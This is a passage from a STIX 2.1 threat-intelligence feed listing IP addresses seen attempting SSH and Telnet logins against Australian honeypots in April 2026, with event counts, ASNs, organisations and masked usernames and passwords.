      "pattern": "[ipv4-addr:value = '152.52.15.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Source country: HK. ASN(s): 9269. Organisation(s): Hong Kong Broadband Network Ltd..",
      "id": "indicator--132325bf-3312-4e94-ae74-24b54a1a2107",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '183.178.209.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 362. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RW. ASN(s): 37228. Organisation(s): Olleh-Rwanda-Networks. Usernames observed (masked): r**t, 3**********4, s***m, u****u, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1******4, 1***************@.",
      "id": "indicator--590bac27-f00c-41c5-b529-b9ee7578631c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '197.243.0.62']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 31200. Organisation(s): Novotelecom Ltd.",
      "id": "indicator--fc9a1964-4243-4c6d-9e76-8ca0ae1d6b26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '37.195.141.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--e01a6a90-6394-42c3-9668-24f919581732",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.148']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--6c29fd1d-7bf6-48bf-84b6-6bec9a23f31e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--40e0308d-8981-4583-9c93-6c071663b6b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--7f4cbc6e-6665-4c22-9c0e-d4e701e01200",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '91.231.89.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 25. Sensors involved: Cowrie. Target ports: 23. Source country: KR. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): , A**************************************************************6, G************1, b*****************************************'. Passwords observed (masked): , H**********************3, U*********************************************************************************************************************************************0, g************************0.",
      "id": "indicator--d77e18de-de89-476e-b91b-c80f331c3f39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.194.248.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T14:15:13.000Z",
      "valid_until": "2026-05-13T14:15:08.000Z"
    },
    {
      "created": "2026-04-11T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d.",
      "id": "indicator--5586884c-b25b-4621-b453-245254ad8b42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.189.32.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T14:15:13.000Z",
      "valid_until": "2026-05-13T14:15:08.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 143. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, u**r, **, 3**********4. Passwords observed (masked): !*******3, 0****0, *, 3***********4, 3**********4.",
      "id": "indicator--0511ffd6-1978-4445-8819-895eb7276f7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.117.56.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 354. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TH. ASN(s): 45413. Organisation(s): ServeNET Solution Limited Partnership. Usernames observed (masked): r**t, 3**********4, l***a, m*****r, b**u. Passwords observed (masked): 3***********4, 3**********4, !*******3, 1****6, Q************3.",
      "id": "indicator--944b4ff8-cd19-461a-8dcb-2a1c1b74d1ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '124.109.2.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 296. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SE. ASN(s): 35100. Organisation(s): Patrik Lagerman. Usernames observed (masked): r**t, 3**********4, l***a, t**t, u**r. Passwords observed (masked): 3***********4, 3**********4, 0****0, *, ***.",
      "id": "indicator--85f42d31-85e1-451c-8eea-a46673b7a457",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.25.158.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): s*****t. Passwords observed (masked): s*****t.",
      "id": "indicator--ff50d27d-30c1-4b74-88ac-bd299165377f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.153.34.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 7922. Organisation(s): Comcast Cable Communications, LLC. Usernames observed (masked): r**t, l***a, t**t, u****u, u**r. Passwords observed (masked): !*******3, 0****0, ***, 3***********4, 3**********4.",
      "id": "indicator--c5bcb837-a457-46f7-bca4-5fc36e07840e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '50.187.96.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T15:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 181. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 3209. Organisation(s): Vodafone GmbH. Usernames observed (masked): r**t, 3**********4, l***a, u****u, u**r. Passwords observed (masked): 3***********4, 3**********4, 0****0, 1******5, 8**8.",
      "id": "indicator--f56dda76-192d-40e7-8f82-6d49c216e93a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T15:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.90.13.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T15:15:03.000Z",
      "valid_until": "2026-05-13T15:15:01.000Z"
    },
    {
      "created": "2026-04-11T16:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NA. ASN(s): 33763. Organisation(s): Paratus. Usernames observed (masked): r**t, 3**********4, u****u, u**r, h***d. Passwords observed (masked): 3***********4, 3**********4, !**********c, ***, 1*******d.",
      "id": "indicator--c3721894-59b2-4b7a-9166-25d57374131a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '160.242.45.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T16:15:03.000Z",
      "valid_until": "2026-05-13T16:15:01.000Z"
    },
    {
      "created": "2026-04-11T16:15:03.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T16:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T16:15:03.000Z",
      "valid_until": "2026-05-13T16:15:01.000Z"
    },
    {
      "created": "2026-04-11T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd..",
      "id": "indicator--886882fe-eea2-4bfc-8b2b-875b370c3d58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.190.204.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T17:15:04.000Z",
      "valid_until": "2026-05-13T17:15:01.000Z"
    },
    {
      "created": "2026-04-11T17:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--c28a397b-312e-4133-be1a-21728ed2ea3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.55']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T17:15:04.000Z",
      "valid_until": "2026-05-13T17:15:01.000Z"
    },
    {
      "created": "2026-04-11T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 8075. Organisation(s): Microsoft Corporation.",
      "id": "indicator--499c9721-ea30-4eff-905e-ef9d821bce53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '20.118.209.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T17:15:04.000Z",
      "valid_until": "2026-05-13T17:15:01.000Z"
    },
    {
      "created": "2026-04-11T17:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HK. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--9bee3d86-6832-4009-8165-bb2f8812566b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T17:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '8.218.174.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T17:15:04.000Z",
      "valid_until": "2026-05-13T17:15:01.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): ***, r**t, t**t. Passwords observed (masked): R*******@, ***, t****5.",
      "id": "indicator--b002297c-89bd-47bd-b9b3-b5b96049f86a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.117.56.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 149111. Organisation(s): TEDEV TECHNOLOGICAL DEVELOPMENT COMPANY LIMITED. Usernames observed (masked): u****u. Passwords observed (masked): 1*******@.",
      "id": "indicator--a5d98e78-67a5-4f6d-8412-e6e6a0e78ca0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.189.208.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 401696. Organisation(s): cognetcloud INC. Usernames observed (masked): u****u, 3**********4, r**t. Passwords observed (masked): 3***********4, 3**********4, r**********3, u******@, u*********!.",
      "id": "indicator--dcd6851d-adf9-4bcc-abf6-73834d9ad406",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '156.225.18.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58519. Organisation(s): Cloud Computing Corporation. Usernames observed (masked): r**t. Passwords observed (masked): 1***********h.",
      "id": "indicator--c903d1bd-32aa-4ccc-9a9f-5363c6f3be74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.42.82.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--ad8cdcfd-2f47-4b30-8b60-5f3902de8fac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '222.141.116.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T18:15:19.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--c930f945-27a7-437c-97b7-f9de520b6c26",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T18:15:19.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '58.226.230.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T18:15:19.000Z",
      "valid_until": "2026-05-13T18:15:02.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 208. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, ***, 3**********4, ***. Passwords observed (masked): 1******4, 1***5, 1*******., 1*******@, 3***********4.",
      "id": "indicator--b064f98e-d90b-4713-86c8-8a788d23a4a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.176.79.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--272ae0a3-55a9-47c1-bcd3-b1f35c8906d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '143.198.196.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--36148765-701b-42a6-b356-72529ef7b16d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--38e94266-b276-4c70-b8d3-a18443cf800e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '182.99.110.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: BR. ASN(s): 267062. Organisation(s): W-NET TELLECOM EIRELI ME.",
      "id": "indicator--f286e528-3b9d-4fe9-9404-627f60874dc1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.228.8.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T19:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 211860. Organisation(s): Nerushenko Vyacheslav Nikolaevich.",
      "id": "indicator--dac7b9fd-bfec-4c2a-acf7-1e26a5539ec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T19:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '82.147.84.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T19:15:10.000Z",
      "valid_until": "2026-05-13T19:15:09.000Z"
    },
    {
      "created": "2026-04-11T20:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134768. Organisation(s): CHINANET SHAANXI province Cloud Base network. Usernames observed (masked): r**t. Passwords observed (masked): -*************-.",
      "id": "indicator--4c689454-bb0b-4549-a699-fb06da7e033d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T20:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '117.33.242.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T20:15:03.000Z",
      "valid_until": "2026-05-13T20:15:01.000Z"
    },
    {
      "created": "2026-04-11T20:15:03.000Z",
